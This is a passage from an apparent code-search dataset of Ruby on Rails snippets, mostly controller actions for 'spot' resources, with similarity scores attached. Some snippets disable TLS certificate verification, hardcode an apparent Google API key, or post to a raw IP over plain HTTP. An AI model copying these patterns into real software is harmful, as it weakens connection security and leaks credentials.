end", "def new\n @spot = Spot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spot }\n end\n end", "def new\n @spot = Spot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spot }\n end\n end", "def server_from_spot_request(env, config, options)\n if config.spot_max_price.nil?\n spot_price_current = env[:aws_compute].describe_spot_price_history({\n 'StartTime' => Time.now.iso8601,\n 'EndTime' => Time.now.iso8601,\n 'InstanceType' => [config.instance_type],\n 'ProductDescription' => [config.spot_price_product_description.nil? ? 'Linux/UNIX' : config.spot_price_product_description]\n })\n\n spot_price_current.body['spotPriceHistorySet'].each do |set|\n (@price_set ||= []) << set['spotPrice'].to_f\n end\n\n if @price_set.nil?\n raise Errors::FogError,\n :message => \"Could not find any history spot prices.\"\n end\n\n avg_price = @price_set.inject(0.0) { |sum, el| sum + el } / @price_set.size\n\n # make the bid 10% higher than the average\n price = (avg_price * 1.1).round(4)\n else\n price = config.spot_max_price\n end\n\n options.merge!({\n :price => price,\n :valid_until => config.spot_valid_until\n })\n\n env[:ui].info(I18n.t(\"vagrant_aws.launching_spot_instance\"))\n env[:ui].info(\" -- Price: #{price}\")\n env[:ui].info(\" -- Valid until: #{config.spot_valid_until}\") if config.spot_valid_until\n\n # create the spot instance\n spot_req = env[:aws_compute].spot_requests.create(options)\n\n @logger.info(\"Spot request ID: #{spot_req.id}\")\n\n # initialize state\n status_code = \"\"\n while true\n sleep 5\n\n spot_req.reload()\n\n # display something whenever the status code changes\n if status_code != spot_req.state\n env[:ui].info(spot_req.fault)\n status_code = spot_req.state\n end\n spot_state = spot_req.state.to_sym\n case spot_state\n when :not_created, :open\n @logger.debug(\"Spot request #{spot_state} #{status_code}, waiting\")\n when :active\n break; # :)\n when :closed, :cancelled, :failed\n msg = \"Spot request #{spot_state} #{status_code}, aborting\"\n @logger.error(msg)\n raise Errors::FogError, :message => msg\n else\n @logger.debug(\"Unknown spot state #{spot_state} #{status_code}, waiting\")\n end\n end\n # cancel the spot request but let the server go thru\n spot_req.destroy()\n\n server = env[:aws_compute].servers.get(spot_req.instance_id)\n\n # Spot Instances don't support tagging arguments on creation\n # Retrospectively tag the server to handle this\n if !config.tags.empty?\n env[:aws_compute].create_tags(server.identity, config.tags)\n end\n\n server\n end", "def set_spot\n @spot = Spot.friendly.find(params[:id])\n end", "def set_spot\n @spot = Spot.friendly.find(params[:id])\n end", "def index\n @spots = Spot.visible.order('id desc').page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def destroy\n @spot = Spot.find(params[:id])\n @spot.destroy\n\n respond_to do |format|\n format.html { redirect_to(spots_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @spot = Spot.find(params[:id])\n @spot.destroy\n\n respond_to do |format|\n format.html { redirect_to(spots_url) }\n format.xml { head :ok }\n end\n end", "def garage_spot_params\n params.require(:garage_spot).permit(:garage_id, :spot_id)\n end", "def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end", "def update\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n flash[:notice] = 'Spot was successfully updated.'\n format.html { redirect_to(@spot) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end", "def dive_spot_params\n params.require(:dive_spot).permit(:name, :max_depth, :min_depth, :sea_life, :coordenads, :notes)\n end", "def update\n respond_to do |format|\n if @spot.update(spot_params)\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @spot }\n else\n format.html { render :edit }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @spot.update(spot_params)\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @spot }\n else\n format.html { render :edit }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @client.spots(-33.8670522, 151.1957362, :types => 'restaurant')\n @users = User.all\n end", "def create\n @spot_listing = current_user.spot_listings.build(params[:spot_listing])\n @spot_listing.completed = false\n respond_to do |format|\n if @spot_listing.save\n format.html { redirect_to user_dashboard_url, notice: 'Your listing has been successfully created' }\n format.json { render json: @spot_listing, status: :created, location: @spot_listing }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spot_listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spot }\n end\n end", "def index\n @spots = Spot.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 10, :page =>params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def show\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spot }\n end\n end", "def destroy\n @spot = Spot.find(params[:id])\n @spot.destroy\n\n respond_to do |format|\n format.html { redirect_to(spot_url) }\n format.xml { head :ok }\n end\n end", "def index\n if params[:keyword]\n @spots = Spot.find(:all, :conditions => [\"name like ?\", \"%#{params[:keyword]}%\"])\n else\n @spots = Spot.find(:all)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @spots }\n format.json { render :json => @spots.to_json(:only => [:name, :latitude, :longitude, :visits_count])}\n end\n end", "def index\n json_response(Spot.all)\n end", "def create\n @listing = Listing.new(params[:listing])\n @listing.user_id= session[:user_id]\n respond_to do |format|\n if @listing.save\n @client = GooglePlaces::Client.new('AIzaSyCzlX9Hndc6BZlHpLVkk8S_xRGOsnA_cJ4')\n @arr=[@listing.latitude, @listing.longitude]\n @vv=@client.spots(@arr[0], @arr[1])\n @vv.each do |t|\n @pn= Pen.new\n @pn.latitude=t.lat\n @pn.longitude=t.lng\n @pn.vicinity=t.vicinity\n @pn.name=t.name\n @pn.icon=t.icon\n @pn.url=t.url\n @pn.types=t.types.join(\",\")\n @pn.listing_id=@listing.id\n @pn.save\n end # for end\n redirect_to \"/listings//\", :notice => \"New list successfully created\"\n else\n format.html { render action: \"new\" }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end # commond end for if {statements} else {statements} end\n end #respond do\n end", "def create\n @park = Park.new(params[:park])\n\n respond_to do |format|\n if @park.save\n format.html { redirect_to(@park, :notice => 'Park was successfully created.') }\n format.xml { render :xml => @park, :status => :created, :location => @park }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @park.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n if spot = SkateSpot.where(:id => params[:id]).first and info = parse_input(params)\n if info.has_key?(:alt_names)\n info[:alt_names].map! { |n| SpotName.find_or_create_by(:name => n, :spot => spot) }\n end\n\n if info[:name]\n info[:name] = SpotName.find_or_create_by(:name => info[:name], :spot => spot) \n end\n\n if info.has_key?(:obstacles)\n info[:obstacles].map! { |o|\n Obstacle.find_or_create_by(:type => ObstacleType.where(:name => o['type']).first, :geometry => o['geometry'], :spot => spot)\n }\n end\n\n render :json => { :status => (spot.update(info) == true ? :success : :unprocessable_entity) }\n else\n render :json => { :status => :unprocessable_entity }\n end\n\n rescue ActiveRecord::RecordNotSaved\n render :json => { :status => :unprocessable_entity }\n end", "def set_spot\n @spot = current_user.spots.find(params[:id])\n end", "def offers \n @host.offers.create(offer_params) if request.post?\n @offers = @host.offers\n end", "def create\n @spit = Spit.new(params[:spit])\n\n respond_to do |format|\n if @spit.save\n format.html { redirect_to(@spit, :notice => 'Spit was successfully created.') }\n format.xml { render :xml => @spit, :status => :created, :location => @spit }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @spit.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @park = Park.new(params[:park])\n\n respond_to do |format|\n if @park.save\n flash[:notice] = 'Park was successfully created.'\n format.html { redirect_to(@park) }\n format.xml { render :xml => @park, :status => :created, :location => @park }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @park.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @turistic_spot_posts = TuristicSpotPost.all\n end", "def new\n @parking_spot = ParkingSpot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @parking_spot }\n end\n end", "def create\n @point_of_sale = PointOfSale.new(point_of_sale_params)\n\n respond_to do |format|\n if @point_of_sale.save\n format.json { render :show, status: :created, location: @point_of_sale }\n else\n format.json { render json: @point_of_sale.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n userID = session[:user_id]\n editionID = params[:edition_id]\n price = params[:price]\n\n uri = URI(\"http://107.170.7.58:4567/api/create/sell\")\n parameters = {\"ext\" => \"json\", \"user_id\" => userID, \"edition_id\" => editionID, \"price\" => price, \"start_date\" => Time.now, \"end_date\" => 90.days.from_now}\n response = Net::HTTP.post_form(uri, parameters)\n list = JSON.parse(response.body)\n\n @response = list[0][\"kind\"]\n end", "def new\n @spot = Spot.new\n lat, lng = params[:ltng].scan(/\\((.+)\\)/).flatten.first.split(',')\n @spot.latitude = lat\n @spot.longitude = lng\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spot }\n end\n end", "def create(name=\"Default name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Post.new(@url)\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n response.body\n end", "def create\n @spent_point = SpentPoint.new(params[:spent_point])\n\n respond_to do |format|\n if @spent_point.save\n format.html { redirect_to(@spent_point, :notice => 'SpentPoint was successfully created.') }\n format.xml { render :xml => @spent_point, :status => :created, :location => @spent_point }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @spent_point.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_skate_spot\n @skate_spot = SkateSpot.find(params[:skate_spot_id])\n end", "def create\n @onske = Onske.new(params[:onske])\n\n respond_to do |format|\n if @onske.save\n format.html { redirect_to @onske, notice: 'Onske was successfully created.' }\n format.json { render json: @onske, status: :created, location: @onske }\n else\n format.html { render action: \"new\" }\n format.json { render json: @onske.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @kingdom = Kingdom.new(params[:kingdom])\n\n respond_to do |format|\n if @kingdom.save\n flash[:notice] = 'Kingdom was successfully created.'\n format.html { redirect_to(@kingdom) }\n format.xml { render :xml => @kingdom, :status => :created, :location => @kingdom }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @kingdom.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end", "def index\n if params.has_key?(:longitude) and params.has_key?(:latitude) and params.has_key?(:area)\n @spots = SkateSpot.all\n\n # render :json => { :status => :success, :data => JSON.parse(render_to_string('index.json')) }\n render :json => \"{\\\"status\\\":\\\"success\\\",\\\"data\\\":#{render_to_string('index.json').presence || 'null'}}\"\n else\n render :json => { :status => :unprocessable_entity }\n end\n end", "def create\n @smoking = Smoking.new(smoking_params)\n\n respond_to do |format|\n if @smoking.save\n format.html { redirect_to @smoking, notice: 'Smoking was successfully created.' }\n format.json { render :show, status: :created, location: @smoking }\n else\n format.html { render :new }\n format.json { render json: @smoking.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @spot_activity = SpotActivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spot_activity }\n end\n end", "def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def set_turistic_spot_post\n @turistic_spot_post = TuristicSpotPost.find(params[:id])\n end", "def post\n response = HTTParty.post(servlet_url,\n :body => to_xml,\n :headers => { 'Content-Type' => 'application/xml' }\n ).response\n\n return Dhl::Shipment::Response.new(response.body)\n rescue Exception => e\n request_xml = if @to_xml.to_s.size>0\n @to_xml\n else\n '<not generated at time of error>'\n end\n\n response_body = if (response && response.body && response.body.to_s.size > 0)\n response.body\n else\n '<not received at time of error>'\n end\n\n log_level = if e.respond_to?(:log_level)\n e.log_level\n else\n :critical\n end\n\n log_request_and_response_xml(log_level, e, request_xml, response_body )\n raise e\n end", "def post(url_variables:, body:)\n ensure_service_document\n\n end", "def set_id\n @spot = Spot.find(params[:id])\n end", "def create\n @heatspot = Heatspot.new(params[:heatspot])\n flash[:notice] = 'Heatspot was successfully created.' if @heatspot.save\n \n redirect_to @heatmap\n end", "def create\n @spotlight = Spotlight.new(spotlight_params)\n @resources = Resource.all\n @supportingresources = Resource.where(\"resource_type = 'Supporting'\", params[:resource_type]).order(:title)\n @featuredresources = Resource.where(\"resource_type = 'Featured'\", params[:resource_type]).order(:title)\n\n respond_to do |format|\n if @spotlight.save\n format.html { redirect_to @spotlight, notice: 'Spotlight was successfully created.' }\n format.json { render :show, status: :created, location: @spotlight }\n else\n format.html { render :new }\n format.json { render json: @spotlight.errors, status: :unprocessable_entity }\n end\n end\n @spotlight.attributes = {'resource_ids' => []}.merge(params[:spotlight] || {})\n end", "def create\n #returning connection.post(collection_path, to_xml, self.class.headers) do |response|\n returning connection.post(collection_path, to_ssj, self.class.headers) do |response|\n self.id = id_from_response(response)\n load_attributes_from_response(response)\n end\n end", "def create\n @leaf_spot_imm_search = LeafSpotImmSearch.new(leaf_spot_imm_search_params)\n\n respond_to do |format|\n if @leaf_spot_imm_search.save\n format.html { redirect_to @leaf_spot_imm_search, notice: 'Leaf spot imm search was successfully created.' }\n format.json { render :show, status: :created, location: @leaf_spot_imm_search }\n else\n format.html { render :new }\n format.json { render json: @leaf_spot_imm_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @spiking = Spiking.new(spiking_params)\n\n respond_to do |format|\n if @spiking.save\n format.html { redirect_to @spiking, notice: 'Spiking was successfully created.' }\n format.json { render action: 'show', status: :created, location: @spiking }\n else\n format.html { render action: 'new' }\n format.json { render json: @spiking.errors, status: :unprocessable_entity }\n end\n end\n end", "def POST; end", "def create\n PlaceVisit.collection.insert_many(params[:place_visits]) #save to batch to database mongoid awesome\n end", "def postLocation( location_id, type, country, language, name, formal_name, resolution, population, description, timezone, latitude, longitude, parent_town, parent_county, parent_province, parent_region, parent_neighbourhood, parent_district, postalcode, searchable_id, searchable_ids)\n params = Hash.new\n params['location_id'] = location_id\n params['type'] = type\n params['country'] = country\n params['language'] = language\n params['name'] = name\n params['formal_name'] = formal_name\n params['resolution'] = resolution\n params['population'] = population\n params['description'] = description\n params['timezone'] = timezone\n params['latitude'] = latitude\n params['longitude'] = longitude\n params['parent_town'] = parent_town\n params['parent_county'] = parent_county\n params['parent_province'] = parent_province\n params['parent_region'] = parent_region\n params['parent_neighbourhood'] = parent_neighbourhood\n params['parent_district'] = parent_district\n params['postalcode'] = postalcode\n params['searchable_id'] = searchable_id\n params['searchable_ids'] = searchable_ids\n return doCurl(\"post\",\"/location\",params)\n end" ]
[ "0.6605932", "0.6586947", "0.6477971", "0.6404298", "0.61660933", "0.61529034", "0.6107558", "0.6103169", "0.6069601", "0.6016869", "0.59677684", "0.5964157", "0.5938998", "0.58903635", "0.5887882", "0.5830724", "0.581705", "0.58030385", "0.5779274", "0.5748995", "0.5744909", "0.5742448", "0.57028", "0.57003564", "0.568171", "0.5647511", "0.55892926", "0.55847466", "0.5583795", "0.5583795", "0.5583795", "0.5583795", "0.55504173", "0.55161697", "0.55132055", "0.55132055", "0.54937655", "0.5473734", "0.54728514", "0.5469113", "0.5453328", "0.5443566", "0.53713006", "0.53172404", "0.5304483", "0.5304483", "0.5280352", "0.52456254", "0.52456254", "0.5241453", "0.5241203", "0.52405506", "0.52252406", "0.51886094", "0.5182896", "0.51754636", "0.5170537", "0.5170537", "0.5148226", "0.51475364", "0.5137917", "0.5137755", "0.5137519", "0.5126366", "0.51249444", "0.5097185", "0.50747234", "0.5072516", "0.50709397", "0.5059111", "0.5057494", "0.5053494", "0.503775", "0.5034508", "0.5016255", "0.50110126", "0.5004401", "0.49990317", "0.49972168", "0.49819645", "0.4980893", "0.49756604", "0.49745923", "0.4964677", "0.49610043", "0.4955036", "0.49548703", "0.4951532", "0.49481207", "0.49459252", "0.49127206", "0.49105504", "0.49080005", "0.4880628", "0.48674822", "0.48642156", "0.48617485", "0.4858541", "0.48543835", "0.48474824" ]
0.6943756
0
PUT /spots/1 PUT /spots/1.xml
def update @spot = Spot.find(params[:id]) respond_to do |format| if @spot.update_attributes(params[:spot]) flash[:notice] = 'Spot was successfully updated.' format.html { redirect_to(@spot) } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @spot.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @spot.update(spot_params)\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @spot }\n else\n format.html { render :edit }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @spot.update(spot_params)\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @spot }\n else\n format.html { render :edit }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def set_spot\n @spot = Spot.find(params[:spot_id])\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def update\n if spot = SkateSpot.where(:id => params[:id]).first and info = parse_input(params)\n if info.has_key?(:alt_names)\n info[:alt_names].map! { |n| SpotName.find_or_create_by(:name => n, :spot => spot) }\n end\n\n if info[:name]\n info[:name] = SpotName.find_or_create_by(:name => info[:name], :spot => spot) \n end\n\n if info.has_key?(:obstacles)\n info[:obstacles].map! { |o|\n Obstacle.find_or_create_by(:type => ObstacleType.where(:name => o['type']).first, :geometry => o['geometry'], :spot => spot)\n }\n end\n\n render :json => { :status => (spot.update(info) == true ? :success : :unprocessable_entity) }\n else\n render :json => { :status => :unprocessable_entity }\n end\n\n rescue ActiveRecord::RecordNotSaved\n render :json => { :status => :unprocessable_entity }\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def set_spot\n @spot = Spot.find_by_id(params[:id])\n end", "def create\n @spot = Spot.new(params[:spot])\n\n respond_to do |format|\n if @spot.save\n flash[:notice] = 'Spot was successfully created.'\n format.html { redirect_to(@spot) }\n format.xml { render :xml => @spot, :status => :created, :location => @spot }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n format.js\n format.html { redirect_to(@spot, :notice => 'Spot was successfully updated.') }\n format.xml { head :ok }\n else\n format.js { render :template => '/error.js', :locals => {:title => '更新できませんでした', :message => @spot.errors.full_messages.join(\"\\n\"), :script => nil} }\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @spot = Spot.find(params[:id])\n\n unless @spot.is_editable_by? current_user\n flash[:notice] = \"sry, not allowed!\"\n redirect_to root_path\n end\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n flash[:notice] = 'Spot was successfully updated.'\n format.html { redirect_to(@spot) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n format.html { redirect_to @spot, notice: t(:course_successfully_updated) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def update\n respond_to do |format|\n if @microspot.update(microspot_params)\n format.html { redirect_to @microspot, notice: 'Microspot was successfully updated.' }\n format.json { render :show, status: :ok, location: @microspot }\n else\n format.html { render :edit }\n format.json { render json: @microspot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def set_spot\n @spot = Spot.friendly.find(params[:id])\n end", "def set_spot\n @spot = Spot.friendly.find(params[:id])\n end", "def update\n @spot_activity = SpotActivity.find(params[:id])\n\n respond_to do |format|\n if @spot_activity.update_attributes(params[:spot_activity])\n format.html { redirect_to(@spot_activity, :notice => 'SpotActivity was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spot_activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def spot\n if Api::V1::Spot.exists?(params[:id])\n spot = Api::V1::Spot.find(params[:id])\n render json: {\n status: 200,\n message: \"OK\",\n spot: Api::V1::SpotSerializer.new(spot), \n }\n else\n render json: {\n status: 404,\n message: \"Det finns ingen birdspot med det id:t.\"\n }\n end\n end", "def set_id\n @spot = Spot.find(params[:id])\n end", "def update\n @parking_spot = ParkingSpot.find(params[:id])\n\n respond_to do |format|\n if @parking_spot.update_attributes(params[:parking_spot])\n format.html { redirect_to @parking_spot, notice: 'Parking spot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @parking_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @spot = Spot.new(params[:spot])\n \n respond_to do |format|\n if @spot.save\n format.html { redirect_to @spot, notice: 'Spot was successfully created.' }\n format.json { render json: @spot, status: :created, location: @spot }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(*args)\n request :put, *args\n end", "def create\n @spot = Spot.new(spot_params)\n\n respond_to do |format|\n if @spot.save\n format.html { redirect_to @spot, notice: 'Spot was successfully created.' }\n format.json { render :show, status: :created, location: @spot }\n else\n format.html { render :new }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @spot = Spot.find(params[:id])\n @spot.destroy\n\n respond_to do |format|\n format.html { redirect_to(spots_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @spot = Spot.find(params[:id])\n @spot.destroy\n\n respond_to do |format|\n format.html { redirect_to(spots_url) }\n format.xml { head :ok }\n end\n end", "def spot_params\n params.require(:spot).permit(:name, :description, :city_id, :user_id, :image_url)\n end", "def spot_params\n params.require(:spot).permit(:name, :latitude, :longitude, :address, :type, :img, :telephone, :rating, :schedule, :website, :description, :activities, :price)\n end", "def spot_params\n params.require(:spot).permit(:name, :title, :description, :category_id)\n end", "def spot_params\n params.require(:spot).permit(:name, :category_id, :description, :address, :tel, :url, :latitude, :longitude)\n end", "def set_spot\n @spot = current_user.spots.find(params[:id])\n end", "def destroy\n @spot = Spot.find(params[:id])\n @spot.destroy\n\n respond_to do |format|\n format.html { redirect_to(spot_url) }\n format.xml { head :ok }\n end\n end", "def create\n @spot = Spot.new(params[:spot])\n @spot.spot_id = UUIDTools::UUID.timestamp_create().to_s\n @spot.user_id = current_user.id\n\n respond_to do |format|\n if @spot.save\n @userspot = UserSpots.new()\n @userspot.user_spots_id = UUIDTools::UUID.timestamp_create().to_s\n @userspot.spot_id = @spot.spot_id\n @userspot.user_id = current_user.id\n @userspot.save\n format.html { redirect_to @spot, notice: t(:spot_successfully_created) }\n format.json { render json: @spot, status: :created, location: @spot }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @garage_spot.update(garage_spot_params)\n format.html { redirect_to @garage_spot, notice: 'Garage spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @garage_spot }\n else\n format.html { render :edit }\n format.json { render json: @garage_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(id:, url_variables:, body:)\n ensure_service_document\n end", "def show\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spot }\n end\n end", "def show\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spot }\n end\n end", "def update\n respond_to do |format|\n if @spot.update(spot_params)\n if params[:photos]\n params[:photos]['image'].each do |a|\n @photo = @spot.photos.create!(:image => a, :imageable_id => @spot.id)\n end\n end\n\n format.html { redirect_to [ @country, @spot ] , notice: 'Spot was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "def update\n respond_to do |format|\n if @spot.update(spot_params)\n if params[:photos]\n params[:photos]['image'].each do |a|\n @photo = @spot.photos.create!(:image => a, :imageable_id => @spot.id)\n end\n end\n\n format.html { redirect_to [ @country, @spot ] , notice: 'Spot was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "def spot_params\n params.require(:spot).permit(:latitude, :longitude, :address)\n end", "def put(*args)\n request(:put, *args)\n end", "def spot_params\n params.require(:spot).permit(:location_name, :position, :lat, :lng, :stay_time)\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def set_skate_spot\n @skate_spot = SkateSpot.find(params[:skate_spot_id])\n end", "def update\n @spot_listing = SpotListing.find(params[:id])\n\n respond_to do |format|\n if @spot_listing.update_attributes(params[:spot_listing])\n format.html { redirect_to @spot_listing, notice: 'Spot listing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spot_listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def put endpoint, data\n do_request :put, endpoint, data\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def put(path, opts = {})\n request(:put, path, opts).body\n end", "def put url, object = nil\n request url, HTTP::Put, object\n end", "def put(uri, doc = nil, options = {})\n execute(uri, :put, options, doc)\n end", "def save_spot(spot)\n \n spotsCollection.delete_many({ user: spot[:user] })\n result = spotsCollection.insert_one(spot)\n return result.inserted_id\n end", "def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end", "def put(url, vars={})\n send_request url, vars, 'PUT'\n end", "def update_xml\n self.xml= dumpRouteAsXml\n self.save\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n @roster_spot = RosterSpot.find(params[:id])\n\n respond_to do |format|\n if @roster_spot.update_attributes(params[:roster_spot])\n format.html { redirect_to @roster_spot, notice: 'Roster spot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @roster_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @dive_spot.update(dive_spot_params)\n format.html { redirect_to @dive_spot, notice: 'Dive spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @dive_spot }\n else\n format.html { render :edit }\n format.json { render json: 